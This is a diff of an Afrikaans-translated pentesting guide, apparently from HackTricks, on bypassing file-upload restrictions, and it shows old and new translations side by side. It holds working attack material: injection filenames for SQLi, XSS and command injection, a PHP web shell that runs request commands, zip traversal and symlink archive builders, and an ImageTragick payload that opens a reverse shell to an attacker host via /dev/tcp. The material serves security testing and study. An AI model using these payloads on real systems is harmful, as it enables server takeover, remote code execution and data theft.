+In sommige gevalle sal jy vind dat 'n server **`wget`** gebruik om **lêers af te laai** en jy kan die **URL** aandui. In sulke gevalle mag die kode kontroleer dat die ekstensie van die afgelaaide lêers op 'n whitelist is om te verseker dat slegs toegelate lêers afgelaai sal word. Daarteenoor, **hierdie check kan bypassed word.**\
+
+Die **maksimum** lengte van 'n **filename** in **linux** is **255**, egter **wget** verkort die filename tot **236** karakters. Jy kan **download a file called "A"\*232+".php"+".gif"**, hierdie lêernaam sal die **bypass** van die **check** omseil (soos in hierdie voorbeeld **".gif"** 'n **valid** ekstensie is), maar `wget` sal die lêer **rename** na **"A"\*232+".php"**.
 ```bash
 #Create file and HTTP server
 echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@@ -156,82 +157,87 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 
 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan wget die herleide lêer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
+Let daarop dat **nog ’n opsie** waaraan jy dalk dink om hierdie kontrole te omseil, is om die **HTTP-server te laat herlei na ’n ander lêer**, sodat die aanvanklike URL die kontrole omseil en wget dan die herlei‑lêer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tensy** wget met die **parameter** `--trust-server-names` gebruik word, omdat **wget die herlei bladsy met die naam van die lêer soos in die oorspronklike URL aangedui, sal aflaai**.
 
 ## Gereedskap
 
-- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is 'n kragtige hulpmiddel wat ontwerp is om Pentesters en Bug Hunters te help om lêeroplaadmeganismes te toets. Dit benut verskeie bug bounty tegnieke om die proses van die identifisering en benutting van kwesbaarhede te vereenvoudig, wat deeglike assesserings van webtoepassings verseker.
+- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is ’n kragtige tool ontwerp om Pentesters en Bug Hunters te help om file upload meganismes te toets. Dit maak gebruik van verskeie bug bounty tegnieke om die proses van die identifisering en eksploitering van kwetsbaarhede te vereenvoudig, wat sorg vir deeglike assesserings van web applications.
 
-## Van lêeroplaad na ander kwesbaarhede
+### Corrupting upload indices with snprintf quirks (historical)
 
-- Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversie** te bereik.
-- Stel **lêernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL-inspuiting** te bereik.
-- Stel **lêernaam** in op `<svg onload=alert(document.domain)>` om 'n XSS te bereik.
-- Stel **lêernaam** in op `; sleep 10;` om 'n paar opdraginspuitings te toets (meer [opdraginspuitings truuks hier](../command-injection.md)).
-- [**XSS** in beeld (svg) lêeroplaad](../xss-cross-site-scripting/index.html#xss-uploading-files-svg).
-- **JS** lêer **oplaad** + **XSS** = [**Service Workers** benutting](../xss-cross-site-scripting/index.html#xss-abusing-service-workers).
-- [**XXE in svg oplaad**](../xxe-xee-xml-external-entity.md#svg-file-upload).
-- [**Open Redirect** deur die oplaad van svg lêer](../open-redirect.md#open-redirect-uploading-svg-files).
-- Probeer **verskillende svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet).
-- [Beroemde **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
-- As jy kan **aandui dat die webbediener 'n beeld van 'n URL moet vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **beeld** in 'n **publieke** webwerf gaan **gestoor** word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**.
-- [**XXE en CORS** omseiling met PDF-Adobe oplaad](pdf-upload-xxe-and-cors-bypass.md).
-- Spesiaal saamgestelde PDF's vir XSS: Die [volgende bladsy toon hoe om **PDF-data in te spuit om JS-uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDF's kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrêre JS sal uitvoer volgens die gegewe aanwysings.
-- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het.
-- Kyk of daar enige **groottegrens** is wanneer lêers opgelaai word.
+Sommige legacy upload handlers wat `snprintf()` of soortgelyke funksies gebruik om multi-file arrays uit ’n single-file upload te bou, kan mislei word om die `_FILES` struktuur te vervals. As gevolg van inkonsekwenthede en afkapping in `snprintf()` gedrag, kan ’n sorgvuldig saamgestelde enkele upload op die bediener‑kant as meerdere geïndekseerde files verskyn, wat logika in die war bring wat ’n streng vorm aanvaar (bv. dit as ’n multi-file upload behandel en onveilige takke volg). Alhoewel dit vandag nismatig is, kom hierdie “index corruption” patroon soms weer voor in CTFs en ouer codebases.
 
-Hier is 'n top 10 lys van dinge wat jy kan bereik deur op te laai (van [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
+## From File upload to other vulnerabilities
+
+- Stel **filename** op `../../../tmp/lol.png` en probeer om ’n **path traversal** te bereik
+- Stel **filename** op `sleep(10)-- -.jpg` en jy mag ’n **SQL injection** kan bereik
+- Stel **filename** op `<svg onload=alert(document.domain)>` om ’n XSS te bewerkstellig
+- Stel **filename** op `; sleep 10;` om sekere command injection te toets (meer [command injections tricks here](../command-injection.md))
+- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
+- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
+- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
+- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
+- Probeer **verskillende svg payloads** vanaf [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
+- As jy die web server kan aandui om ’n image vanaf ’n URL te haal, kan jy probeer om ’n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **image** in ’n **public** site gestoor gaan word, kan jy ook ’n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en inligting van elke besoeker **steel**.
+- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
+- Spesiaal saamgestelde PDFs vir XSS: Die [volgende bladsy verduidelik hoe om **PDF data in te spuit om JS‑uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan upload, kan jy ’n PDF voorberei wat arbitraire JS uitvoer volgens die gegewe aanwysings.
+- Upload die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud om te kyk of die server enige **antivirus** het
+- Kyk of daar enige **size limit** is wanneer jy files upload
+
+Hier is ’n top 10‑lys van dinge wat jy deur uploading kan bereik (van [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 
 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
-2. **SVG**: Gestoor XSS / SSRF / XXE
-3. **GIF**: Gestoor XSS / SSRF
-4. **CSV**: CSV inspuiting
+2. **SVG**: Stored XSS / SSRF / XXE
+3. **GIF**: Stored XSS / SSRF
+4. **CSV**: CSV injection
 5. **XML**: XXE
 6. **AVI**: LFI / SSRF
-7. **HTML / JS** : HTML inspuiting / XSS / Open redirect
-8. **PNG / JPEG**: Pixel vloedaanval (DoS)
+7. **HTML / JS** : HTML injection / XSS / Open redirect
+8. **PNG / JPEG**: Pixel flood attack (DoS)
 9. **ZIP**: RCE via LFI / DoS
 10. **PDF / PPTX**: SSRF / BLIND XXE
 
-#### Burp Uitbreiding
+#### Burp Extension
+
 
 {{#ref}}
 https://github.com/portswigger/upload-scanner
 {{#endref}}
 
-## Magiese Header Bytes
+## Magic Header Bytes
 
 - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
 - **JPG**: `"\xff\xd8\xff"`
 
-Verwys na [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) vir ander lêertipes.
+Verwys na [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) vir ander filetypes.
 
-## Zip/Tar Lêer Outomaties gedecomprimeerde Oplaad
+## Zip/Tar File Automatically decompressed Upload
 
-As jy 'n ZIP kan oplaai wat binne die bediener gaan gedecomprimeer word, kan jy 2 dinge doen:
+As jy ’n ZIP kan upload wat binne die server ontpak gaan word, kan jy twee dinge doen:
 
 ### Symlink
 
-Laai 'n skakel op wat sagte skakels na ander lêers bevat, dan, deur toegang te verkry tot die gedecomprimeerde lêers, sal jy toegang hê tot die gelinkte lêers:
+Upload ’n link wat soft links na ander files bevat, dan, deur toegang te kry tot die ontpakte files sal jy toegang kry tot die geskakelde files:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
 tar -cvf test.tar symindex.txt
 ```
-### Decomprimeer in verskillende vouers
+### Ontpak in verskillende gidse
 
-Die onverwagte skepping van lêers in gidse tydens dekompressie is 'n beduidende probleem. Ten spyte van aanvanklike aannames dat hierdie opstelling dalk teen OS-vlak opdraguitvoering deur kwaadwillige lêeroplaaie kan beskerm, kan die hiërargiese kompressieondersteuning en gidse traversering vermoëns van die ZIP-argiefformaat uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en veilige oplaai-gidse te ontsnap deur die dekompressiefunksionaliteit van die geteikende toepassing te manipuleer.
+Die onverwagte skepping van lêers in gidse tydens ontpakking is 'n beduidende probleem. Ondanks aanvanklike aanname dat hierdie opstelling moontlik teen OS-level command execution deur kwaadwillige lêeroplaaie sou beskerm, kan die hiërargiese kompressie-ondersteuning en directory traversal vermoëns van die ZIP archive format uitgebuit word. Dit laat aanvallers toe om beperkings te omseil en uit veilige upload directories te ontsnap deur die ontpakkingsfunksionaliteit van die geteikende toepassing te manipuleer.
 
-'n Geoutomatiseerde uitbuiting om sulke lêers te vervaardig is beskikbaar by [**evilarc op GitHub**](https://github.com/ptoomey3/evilarc). Die nut kan soos volg gebruik word:
+'n Geautomatiseerde exploit om sulke lêers te skep is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die utility kan soos volg gebruik word:
 ```python
 # Listing available options
 python2 evilarc.py -h
 # Creating a malicious archive
 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 ```
-Boonop is die **symlink truuk met evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute tydens sy werking ondervind nie.
+Daarbenewens is die **symlink trick with evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute tydens sy werking teëkom nie.
 
-Hieronder is 'n voorbeeld van Python kode wat gebruik word om 'n kwaadwillige zip-lêer te skep:
+Hieronder is 'n voorbeeld van Python code wat gebruik word om 'n kwaadaardige zip file te skep:
 ```python
 #!/usr/bin/python
 import zipfile
@@ -249,11 +255,11 @@ zip.close()
 
 create_zip()
 ```
-**Misbruik van kompressie vir lêer spuit**
+**Misbruik van kompressie vir file spraying**
 
-Vir verdere besonderhede **kyk die oorspronklike pos in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
+Vir meer besonderhede **sien die oorspronklike pos by**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
 
-1.  **Skep 'n PHP Shell**: PHP kode word geskryf om opdragte uit te voer wat deur die `$_REQUEST` veranderlike oorgedra word.
+1.  **Creating a PHP Shell**: PHP-kode word geskryf om opdragte wat via die `$_REQUEST`-veranderlike gestuur word, uit te voer.
 
 ```php
 <?php
@@ -263,14 +269,14 @@ system($cmd);
 }?>
 ```
 
-2.  **Lêer Spuit en Gecomprimeerde Lêer Skep**: Meerdere lêers word geskep en 'n zip-argief word saamgestel wat hierdie lêers bevat.
+2.  **File Spraying and Compressed File Creation**: Verskeie lêers word geskep en 'n zip-argief wat hierdie lêers bevat, word saamgestel.
 
 ```bash
 root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```
 
-3.  **Wysiging met 'n Hex Editor of vi**: Die name van die lêers binne die zip word verander met vi of 'n hex editor, wat "xxA" na "../" verander om directories te traverse.
+3.  **Modification with a Hex Editor or vi**: Die name van die lêers binne die zip word met vi of 'n Hex Editor verander, deur "xxA" na "../" te vervang om deur gids.strukture te navigeer.
 
 ```bash
 :set modifiable
@@ -280,38 +286,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
 
 ## ImageTragic
 
-Laai hierdie inhoud op met 'n beeld uitbreiding om die kwesbaarheid te benut **(ImageMagick , 7.0.1-1)** (vorm die [exploit](https://www.exploit-db.com/exploits/39767))
+Laai hierdie inhoud op met 'n image extension om die kwesbaarheid uit te buit **(ImageMagick , 7.0.1-1)** (sien die [exploit](https://www.exploit-db.com/exploits/39767))
 ```
 push graphic-context
 viewbox 0 0 640 480
 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
 pop graphic-context
 ```
-## Inbedde PHP Shell in PNG
+## Insluiting van PHP-shell in PNG
 
-Die inbeddding van 'n PHP shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroei en te hersampel. Die vermoë van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
+Om 'n PHP-shell in die IDAT-chunk van 'n PNG-lêer in te sluit, kan sekere beeldverwerkingsoperasies effektief omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle gewoonlik gebruik word vir die verkleining en hersamplering van beelde. Die vermoë van die ingeslote PHP-shell om ongedeerd te bly deur hierdie operasies is 'n beduidende voordeel vir sekere gebruiksgevalle.
 
-'n Gedetailleerde verkenning van hierdie tegniek, insluitend sy metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
+'n Gedetailleerde ondersoek van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie bron bied 'n omvattende begrip van die proses en sy implikasies.
 
-Meer inligting in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
+Meer inligting by: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 
-## Polyglot Lêers
+## Polyglot-lêers
 
-Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat sowel as 'n GIF as 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
+Polyglot-lêers dien as 'n unieke hulpmiddel in kuberveiligheid, en tree op soos kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie tot hierdie kombinasie beperk nie; samevoegings soos GIF en JS of PPT en JS is ook uitvoerbaar.
 
-Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op tipe basis skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan stilweg hierdie beperkings omseil.
+Die kernnut van polyglot-lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op grond van tipe skerm. Algemene praktyk in verskeie toepassings behels dat net sekere lêertipes vir upload toegelaat word — soos JPEG, GIF of DOC — om die risiko van potensieel gevaarlike formate (bv. JS, PHP of Phar-lêers) te beperk. 'n Polyglot, deur aan die strukturele kriteria van verskeie lêertipes te voldoen, kan hierdie beperkings stilweg omseil.
 
-Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot gelyktydig 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van sy opgelaai afhanklik wees van die platform se lêeruitbreidingsbeleid. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote struktuurdualisiteit van 'n polyglot nie genoeg wees om sy opgelaai te waarborg nie.
+Ten spyte van hul aanpasbaarheid, ondervind polyglots wel beperkings. Byvoorbeeld, terwyl 'n polyglot terselfdertyd 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van die upload afhang van die platform se beleid oor lêeruitbreidings. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote strukturele dualiteit van 'n polyglot nie genoeg wees om die upload te verseker nie.
 
-Meer inligting in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
+Meer inligting by: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 
-### Laai geldige JSON's op asof dit PDF was
+### Upload geldige JSONs soos asof dit 'n PDF is
 
-Hoe om lêertipe-detektering te vermy deur 'n geldige JSON-lêer op te laai selfs al is dit nie toegelaat nie deur 'n PDF-lêer na te maak (tegnieke van **[hierdie blogpos](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
+Hoe om lêertipe-detektering te vermy deur 'n geldige JSON-lêer op te laai selfs al is dit nie toegelaat nie deur 'n valse PDF-lêer voor te gee (tegnieke uit **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
 
-- **`mmmagic` biblioteek**: Solank die `%PDF` magiese bytes in die eerste 1024 bytes is, is dit geldig (kry voorbeeld uit pos)
-- **`pdflib` biblioteek**: Voeg 'n valse PDF-formaat binne 'n veld van die JSON by sodat die biblioteek dink dit is 'n pdf (kry voorbeeld uit pos)
-- **`file` binêre**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON wat groter is as dit sodat dit nie die inhoud as 'n json kan ontleed nie en plaas dan die aanvanklike deel van 'n werklike PDF binne die JSON en dit sal dink dit is 'n PDF
+- **`mmmagic` library**: Solank die `%PDF` magic bytes in die eerste 1024 bytes is, is dit geldig (sien voorbeeld in die post)
+- **`pdflib` library**: Voeg 'n valse PDF-formaat binne 'n veld van die JSON in sodat die library dink dit is 'n PDF (sien voorbeeld in die post)
+- **`file` binary**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON groter as dit sodat dit nie die inhoud as 'n JSON kan parseer nie en sit dan binne die JSON die aanvanklike deel van 'n werklike PDF en dit sal dink dis 'n PDF
 
 ## Verwysings
 
@@ -322,5 +328,6 @@ Hoe om lêertipe-detektering te vermy deur 'n geldige JSON-lêer op te laai self
 - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
+- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
 
 {{#include ../../banners/hacktricks-training.md}}